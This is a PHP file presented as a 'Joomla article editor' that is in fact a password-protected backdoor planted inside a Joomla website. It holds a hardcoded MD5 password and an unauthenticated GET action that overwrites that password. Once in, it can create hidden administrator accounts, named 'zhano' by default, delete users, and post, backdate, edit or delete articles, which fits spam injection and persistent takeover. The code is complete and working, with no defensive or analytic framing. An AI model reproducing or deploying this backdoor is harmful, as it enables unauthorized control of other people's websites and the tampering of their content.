<?php
header('Content-Type:text/html; charset=UTF-8');

error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);

define('WEBSITE_ROOT', 'http://'. $_SERVER['HTTP_HOST'] . '/');
define('PASSWORD_FILE', 'p.txt');

function get_full_path($link) {
	$dir = dirname($_SERVER['PHP_SELF']);
	$levels_up = substr_count(JPATH_SITE, '..');
	for($i=0;$i<$levels_up;$i++) {
		preg_match('/(\/[^\/]+)$/', $dir, $matches);
		$dir = preg_replace('/\/[^\/]+$/', '', $dir);
		$link = str_replace($matches[1], '', $link);
	}
	
	if(strpos($link, 'http') !== 0) {
		$link = 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['SERVER_NAME'] . $link;
	}
	
	return $link;
}

if(!empty($_GET['action']) && $_GET['action'] == 'set_password' && !empty($_GET['hashed_password'])) {
	$hashed_password = $_GET['hashed_password'];
	$fh = fopen(PASSWORD_FILE, "w");
    if($fh==false) die("unable to create file");
    fputs ($fh, $hashed_password);
    fclose ($fh);
	exit;
}

if(!file_exists(PASSWORD_FILE)) {
	$hashed_password = 'a6a8cb877ee18215f2c0fc2a6c7b4f2a';
	$fh = fopen(PASSWORD_FILE, "w");
    if($fh==false) die("unable to create file");
    fputs ($fh, $hashed_password);
    fclose ($fh);
}
else {
	$hashed_password = trim(file_get_contents(PASSWORD_FILE));
}

define('SHELL_PASSWORD', $hashed_password);
define('MAX_UP_LEVELS', 10);

if(empty($_COOKIE['password']) && empty($_POST['password']) || (!empty($_POST['password']) && md5($_POST['password']) != SHELL_PASSWORD)) {
	print '<form method="post">Password : <input type="text" name="password"><input type="submit"></form>';
}

if(!empty($_POST['password']) && md5($_POST['password']) == SHELL_PASSWORD) {
	setcookie('password', SHELL_PASSWORD, time() + 60*60*24);
	header("Location: {$_SERVER['PHP_SELF']}");
	exit;
}

if(empty($_COOKIE) || $_COOKIE['password'] != SHELL_PASSWORD) {
	exit;
}

define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);

$counter = 0;
$dir_up = '.' . DS;
do {
	$file_found = false;
	$file_path = $dir_up . 'administrator';
	if(file_exists($file_path)) {
		$file_found = true;
	}
	else {
		$dir_up .= '..' . DS;
	}
	$counter++;
}while(!$file_found && $counter < MAX_UP_LEVELS);

header('Content-Type: text/html; charset=utf-8');

define('JPATH_BASE', $dir_up);
	
require_once ( JPATH_BASE . 'includes'.DS.'defines.php' );
require_once ( JPATH_BASE . 'includes'.DS.'framework.php' );

//define('JPATH_COMPONENT_ADMINISTRATOR', dirname(__FILE__) . "/administrator");
define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_BASE . DS . 'administrator' . DS . 'components' . DS . 'com_content');
require_once JPATH_BASE.'/includes/framework.php';
//$app = JFactory::getApplication('site');
//require_once JPATH_BASE.'/includes/framework.php';


//echo JPATH_BASE. "/administrator/components/com_content/models/article.php";
require_once JPATH_BASE. "/components/com_content/models/article.php";
                         //administrator/components/com_content/models

require_once(JPATH_BASE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php');							 
						 
$app = JFactory::getApplication('site', array('session' => false));
$app->initialise();

if(!empty($_POST['title'])) {

foreach($_POST as $key => $value) {
	$_POST[$key] = stripslashes($value);
}

	$new_article = new ContentModelArticle();
	$date = date($_POST['publish_up'] . ' ' . rand(1,23). ':' . rand(1,59). ':' . rand(1,59));
	$data = array(
		'catid' => $_POST['catid'], //newsarticles
		'title' => $_POST['title'],
		'fulltext' => $_POST['body'],
		'introtext' => $_POST['introtext'],
		'state' => $_POST['published'],
        'created_by' => $_POST['created_by'],
        'publish_up' => $date,
		'created' => $date,
		'alias' => $_POST['alias'],
		'language' => $_POST['language']
	);
	if(!empty($_POST['id'])) {
		$data['id'] = $_POST['id'];
	}
	$table = JTable::getInstance('content', 'JTable', array());
	// Bind data
	if (!$table->bind($data))
	{
		print_r($table->getError());
		return false;
	}
	
	// Store the data.
	if (!$table->store())
	{
		print_r($table->getError());
	}
}

if(!empty($_POST['id2delete'])) {
	$row = JTable::getInstance('content', 'JTable');
	$row->delete($_POST['id2delete']);
}

$db = JFactory::getDBO(); // get database object

if(!empty($_GET['article_id'])) {
	$article_id = $_GET['article_id'];
	$article = JTable::getInstance('content');
	$article->load($article_id);
}

if(!empty($_POST['username2delete'])) {
	$user = JFactory::getUser($_POST['username2delete']);
	if($user->delete()) {
		print "User {$_POST['username2delete']} has been deleted!";
	}
}

if(!empty($_POST['user_name']) && !empty($_POST['user_password']) && !empty($_POST['user_email'])) {
	 jimport('joomla.application.component.controller');
	 
	$instance = JUser::getInstance();
	 
	$data = array(); // array for all user settings
	 
	// set up the "main" user information
	
	$user = array();
	  $user['username']  = $_POST['user_name'];
	  $user['password']  = $_POST['user_password'];
	  $user['password2'] = $_POST['user_password'];
	  $user['sendEmail'] = 0;
	  $user['groups']    = array(7); 
	  $user['name']      = $_POST['user_name'];
	  $user['email']     = $_POST['user_email'];
	   
	  $params = array();
	  $params['timezone'] = 'America/Chicago';
	  $params['language'] = 'en-GB';
	  $user['params'] = $params;
	 
	if ($instance->bind($user)) {
		if($instance->save(false)) {
			print $_POST['user_name'] . " with password " . $_POST['user_password'] . " created!<br><a href=\"/administrator/index.php#{$_POST['user_name']}:{$_POST['user_password']}\" target=\"_blank\">Login</a>\n";
			$user_created = true;
		}
		else {
			throw new Exception('SESSION.PHP: Failed to save user object. ('. $instance->getError().')');
		}
	}
	else {
		throw new Exception('SESSION.PHP: Failed to bind user object. ('. $instance->getError() . ')');
	}
	
	if(empty($user_created)) {
		print "Failed creating user " . $user['username'];
	}
}
?>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Joomla article editor</title>
  <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
  <script src="http://code.jquery.com/jquery-1.9.1.js"></script>
  <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
  <link rel="stylesheet" href="/resources/demos/style.css" />
  <script src="https://cloud.tinymce.com/stable/tinymce.min.js"></script>
  <script>
  tinymce.init({
  selector: 'textarea',
  height: 500,
  theme: 'modern',
  plugins: [
    'advlist autolink lists link image charmap print preview hr anchor pagebreak',
    'searchreplace wordcount visualblocks visualchars code',
    'insertdatetime media nonbreaking save table contextmenu directionality',
    'paste textcolor colorpicker textpattern imagetools codesample toc help'
  ],
  toolbar1: 'undo redo | insert | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image',
  toolbar2: 'print preview media | forecolor backcolor | codesample help',
  image_advtab: true,
  content_css: [
    '//fonts.googleapis.com/css?family=Lato:300,300i,400,400i',
    '//www.tinymce.com/css/codepen.min.css'
  ]
 });
  </script>
  <script>
  $(function() {
    $( "#publish_up" ).datepicker({dateFormat: 'yy-mm-dd', changeMonth: true, changeYear: true});
  });
  
  function validate(form_obj) {
	for(var i=0;i<form_obj.elements.length;i++) {
		if(form_obj.elements[i].type == "select-one" && form_obj.elements[i].options.length == 0) {
			continue;
		}
		if((form_obj.elements[i].type == "text" || form_obj.elements[i].type == "select-one") && !form_obj.elements[i].value) {
			alert("All fields marked with a red asterik are mandatory.\nPlease fill it.");
			return false;
		}
	}
  }
  </script>
</head>
<body>

<a href="<?php print $_SERVER['PHP_SELF']; ?>">New article</a><br />

<form method="post" name="user_form">
<fieldset>
User: <input type="text" name="user_name" size="50" value="zhano<?php print rand(1,100000); ?>">
<br>
Password: <input type="text" name="user_password" size="50" value="zhano">
<br>
E-mail: <input type="text" name="user_email" size="50" value="zhano<?php print rand(1,100000); ?>@mail.com" readonly>
<br>
<input type="submit" value="Create our user">
</fieldset>
</form>

<form method="post">
<input type="hidden" name="username2delete" value="">
<input type="button" onclick="this.form.username2delete.value=document.forms['user_form'].user_name.value;this.form.submit();" value="Delete our user">
</form>

Add/Edit article
<form method="post" onsubmit="return validate(this)" action="<?php print $_SERVER['PHP_SELF']; ?>">
Title <font color="red">*</font> : <input type="text" name="title" size="100" value="<?php if(!empty($article_id)) print $article->get('title'); ?>" onkeyup="this.form.elements['alias'].value=this.value.replace(/[\@\?\x20-\x2F ]+/g,'-');" onmouseup="this.form.elements['alias'].value=this.value.replace(/[\@\?\x20-\x2F ]+/g,'-');"> 
<br>
Alias <font color="red">*</font> : <input type="text" name="alias" size="100" value="<?php if(!empty($article_id)) print $article->get('alias'); ?>">
<br>
Introtext : <br>
<?php 
if(!empty($article_id)) {
	$introtext = $article->get('introtext');
	$fulltext = $article->get('fulltext');
	if(empty($fulltext)) {
		$fulltext = $introtext;
		$introtext = '';
	}
} 
?>
<textarea name="introtext" cols="70" rows="30">
<?php if(!empty($introtext)) {print $introtext;} ?>
</textarea>
<br>
Body <font color="red">*</font> : <br>
<textarea name="body" cols="70" rows="30">
<?php if(!empty($fulltext)) {print $fulltext;} ?>
</textarea>
<br>
Category : <font color="red">*</font> <select name="catid">
<?php
$cat_urls = array();
$sql = "SELECT #__categories.id, #__categories.title, COUNT(#__content.id) AS count_articles FROM #__categories INNER JOIN #__content ON #__categories.id = #__content.catid GROUP BY #__categories.id ORDER BY #__categories.title ";
$db->setQuery($sql); // apply query
$cats = $db->loadObjectList();
foreach($cats as $cat) {
	print "<option value=\"".$cat->id."\" " . (!empty($article_id) && $article->get('catid') == $cat->id ? "selected" : "") . " >".$cat->title. ' (' . $cat->count_articles . ")</option>\n";
	$cat_urls[get_full_path(JURI::base() . "index.php?option=com_content&view=category&layout=blog&id=" . $cat->id)] = $cat->title;
}
?>
</select>
<br>
Date: <font color="red">*</font> <input type="text" id="publish_up" name="publish_up" value="<?php if(!empty($article->publish_up)) print $article->publish_up; ?>"><br>
<input type="hidden" name="id" value="<?php if(!empty($_GET['article_id'])) print $_GET['article_id']; ?>">
Author: <font color="red">*</font> <select name="created_by">
<?php
$sql = "SELECT * FROM #__users LIMIT 50 ";
$db->setQuery($sql); // apply query
$users = $db->loadObjectList();
foreach($users as $user) {
	print "<option value=\"".$user->id."\" ".(!empty($article_id) && $article->get('created_by') == $user->id ? "selected" : "").">".$user->username."</option>\n";
}
?>
</select>
<?php
if(class_exists('JLanguageHelper')) {
$languages = JLanguageHelper::getLanguages();
$all_lang_obj = new stdClass();
$all_lang_obj->lang_code = '*';
$all_lang_obj->title= 'All';
$languages[] = $all_lang_obj;
?>
Language: <select name="language">
<?php 
foreach($languages as $lang_data) {
	if(!empty($article_id)) {
		if($article->get('language') == $lang_data->lang_code) {
			$selected = ' selected';
		}
		else {
			$selected = '';
		}
	}
	print "<option value=\"{$lang_data->lang_code}\"{$selected}>{$lang_data->title}</option>\n";
}
?>
</select>
<?php
}

if(!empty($article)) {
	$article_state = $article->get('state');
}
?>
<br>
<input type="radio" name="published" value="0" <?php if(empty($article_state)) print 'checked'; ?>> Unpublished<br>
<input type="radio" name="published" value="1" <?php if(!empty($article_state) || empty($_GET['article_id'])) print 'checked'; ?>> Published<br>
<br>
<input type="submit"> 
</form>
<br>
<form method="post" action="<?php print $_SERVER['PHP_SELF']; ?>">
<input type="hidden" name="id2delete" value="<?php if(!empty($_GET['article_id'])) print $_GET['article_id']; ?>">
<input type="submit" value="Delete article">
</form>
<hr>
<br>
Choose article to edit : 
<form>
<?php
require_once(JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php');

$sql = "SELECT #__categories.id AS cat_id, #__categories.alias AS cat_alias, #__content.* FROM #__content INNER JOIN #__categories ON #__content.catid = #__categories.id ORDER BY `title`"; // prepare query
$db->setQuery($sql); // apply query
$articles = $db->loadObjectList(); // execute query, return result list
?>
<select name="article_id">
<?php
foreach($articles as $article){ // loop through articles
	$slug = $article->id . ':' . $article->alias;
	$catslug = $article->cat_id . ':' . $article->cat_alias;
	$link = JRoute::_(ContentHelperRoute::getArticleRoute($slug, $catslug));
	if(!empty($article->language)) {
		$link = str_replace('index.php/', 'index.php/' . substr($article->language, 0, 2) . '/', $link);
	}
	$link = get_full_path($link);
    echo '<option title="' . $link . '" value="' . $article->id . '">' . $article->title . '</option>' . "\n";
}
?>
</select>
<input type="submit">
<input type="button" onclick="window.open('<?php print JPATH_SITE . 'index.php?option=com_content&view=article&id='; ?>' + this.form.article_id.value)" value="View article">
<input type="button" onclick="window.open(this.form.article_id.options[this.form.article_id.selectedIndex].title)" value="View article by alias">
</form>

<br><br><br>
View categories : <br>
<?php
foreach($cat_urls as $cat_url => $cat_title) {
	print "<a href=\"" . $cat_url . "\" target=\"_blank\">".$cat_title."</a><br>\n";
}
?>
</body>
</html>